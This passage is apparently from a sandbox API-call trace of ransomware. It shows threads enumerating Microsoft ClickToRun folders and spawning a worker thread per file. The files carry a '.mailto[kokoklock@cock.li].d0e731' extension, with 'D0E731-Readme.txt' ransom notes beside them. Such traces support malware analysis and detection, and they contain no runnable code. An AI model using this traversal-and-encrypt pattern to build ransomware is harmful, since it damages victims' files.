Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" [0175.607] wcscat (in: _Dest=0x2f6ab60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\" [0175.607] wcscat (in: _Dest=0x2f6ab60, _Source="stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" [0175.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848 [0175.608] FindNextFileW (in: hFindFile=0x30456a8, lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x8be1a3cd, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd78c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STREAM~1.D0E")) returned 0 [0175.608] FindClose (in: hFindFile=0x30456a8 | out: hFindFile=0x30456a8) returned 1 [0175.609] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9ba68) returned 1 [0175.609] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056050) returned 1 [0175.609] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057020) returned 1 [0175.609] RtlExitUserThread (Status=0x0) Thread: id = 2299 os_tid = 0xf94 [0174.850] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb2) returned 0x2f9f270 [0174.850] wcscpy (in: _Dest=0x2f9f270, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" [0174.850] wcscat (in: _Dest=0x2f9f270, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\" [0174.850] wcscat (in: _Dest=0x2f9f270, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\*" [0174.850] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9bcd0 [0174.850] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\*", lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x8b018867, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b018867, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30456e8 [0174.853] wcscmp (_String1=".", _String2=".") returned 0 [0174.853] FindNextFileW (in: hFindFile=0x30456e8, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x8b018867, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b018867, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.853] wcscmp (_String1="..", _String2=".") returned 1 [0174.853] wcscmp (_String1="..", _String2="..") returned 0 [0174.853] FindNextFileW (in: hFindFile=0x30456e8, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8afa5f8f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8afa5f8f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8afa5f8f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.853] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.853] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.853] FindNextFileW (in: hFindFile=0x30456e8, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x8afa5f8f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x52d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MASTER~1.D0E")) returned 1 [0174.853] wcscmp (_String1="MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.853] wcscmp (_String1="MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.853] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x2fe24f0 [0174.853] wcscpy (in: _Dest=0x2fe24f0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" [0174.853] wcscat (in: _Dest=0x2fe24f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\" [0174.853] wcscat (in: _Dest=0x2fe24f0, _Source="MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0175.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe24f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0175.602] FindNextFileW (in: hFindFile=0x30456e8, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x8aff264e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="s640.hash.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="S640HA~1.D0E")) returned 1 [0175.602] wcscmp (_String1="s640.hash.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.602] wcscmp (_String1="s640.hash.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.602] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x104) returned 0x305dfe8 [0175.602] wcscpy (in: _Dest=0x305dfe8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" [0175.602] wcscat (in: _Dest=0x305dfe8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\" [0175.602] wcscat (in: _Dest=0x305dfe8, _Source="s640.hash.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731" [0175.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305dfe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854 [0175.603] FindNextFileW (in: hFindFile=0x30456e8, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x8b018867, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38490a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STREAM~1.D0E")) returned 1 [0175.603] wcscmp (_String1="stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.603] wcscmp (_String1="stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.603] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x124) returned 0x2fe29d0 [0175.603] wcscpy (in: _Dest=0x2fe29d0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" [0175.603] wcscat (in: _Dest=0x2fe29d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\" [0175.603] wcscat (in: _Dest=0x2fe29d0, _Source="stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" [0175.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe29d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850 [0175.604] FindNextFileW (in: hFindFile=0x30456e8, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e74e13, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96e74e13, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x8b018867, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38490a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STREAM~1.D0E")) returned 0 [0175.604] FindClose (in: hFindFile=0x30456e8 | out: hFindFile=0x30456e8) returned 1 [0175.604] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9bcd0) returned 1 [0175.604] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9f270) returned 1 [0175.605] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056bd0) returned 1 [0175.605] RtlExitUserThread (Status=0x0) Thread: id = 2300 os_tid = 0xe44 [0174.854] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x3056108 [0174.854] wcscpy (in: _Dest=0x3056108, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" [0174.854] wcscat (in: _Dest=0x3056108, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\" [0174.854] wcscat (in: _Dest=0x3056108, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*" [0174.854] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9bf38 [0174.854] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*", lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0x8af7fc80, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8af7fc80, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045728 [0174.856] wcscmp (_String1=".", _String2=".") returned 0 [0174.856] FindNextFileW (in: hFindFile=0x3045728, lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0x8af7fc80, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8af7fc80, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.856] wcscmp (_String1="..", _String2=".") returned 1 [0174.856] wcscmp (_String1="..", _String2="..") returned 0 [0174.856] FindNextFileW (in: hFindFile=0x3045728, lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8af0d5de, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8af0d5de, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8af0d5de, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.856] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.856] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.856] FindNextFileW (in: hFindFile=0x3045728, lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x8af0d5de, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x570f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MASTER~1.D0E")) returned 1 [0174.856] wcscmp (_String1="MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.856] wcscmp (_String1="MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.856] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x124) returned 0x2fe2628 [0174.856] wcscpy (in: _Dest=0x2fe2628, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" [0174.856] wcscat (in: _Dest=0x2fe2628, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\" [0174.857] wcscat (in: _Dest=0x2fe2628, _Source="MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0175.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8 [0175.598] FindNextFileW (in: hFindFile=0x3045728, lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x8af33864, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="s641033.hash.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="S64103~1.D0E")) returned 1 [0175.598] wcscmp (_String1="s641033.hash.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.598] wcscmp (_String1="s641033.hash.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.598] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x108) returned 0x305ded0 [0175.598] wcscpy (in: _Dest=0x305ded0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" [0175.598] wcscat (in: _Dest=0x305ded0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\" [0175.598] wcscat (in: _Dest=0x305ded0, _Source="s641033.hash.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731" [0175.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305ded0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0175.599] FindNextFileW (in: hFindFile=0x3045728, lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x8af7fc80, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd78c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STREAM~1.D0E")) returned 1 [0175.599] wcscmp (_String1="stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.599] wcscmp (_String1="stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.599] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x120) returned 0x2f70d80 [0175.599] wcscpy (in: _Dest=0x2f70d80, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" [0175.599] wcscat (in: _Dest=0x2f70d80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\" [0175.599] wcscat (in: _Dest=0x2f70d80, _Source="stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" [0175.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f70d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0175.599] FindNextFileW (in: hFindFile=0x3045728, lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x8af7fc80, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd78c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STREAM~1.D0E")) returned 0 [0175.600] FindClose (in: hFindFile=0x3045728 | out: hFindFile=0x3045728) returned 1 [0175.600] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9bf38) returned 1 [0175.600] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056108) returned 1 [0175.600] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056eb0) returned 1 [0175.600] RtlExitUserThread (Status=0x0) Thread: id = 2301 os_tid = 0xe50 [0174.863] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb2) returned 0x2f9db30 [0174.863] wcscpy (in: _Dest=0x2f9db30, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" [0174.863] wcscat (in: _Dest=0x2f9db30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\" [0174.863] wcscat (in: _Dest=0x2f9db30, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\*") returned="C:\\Users\\All 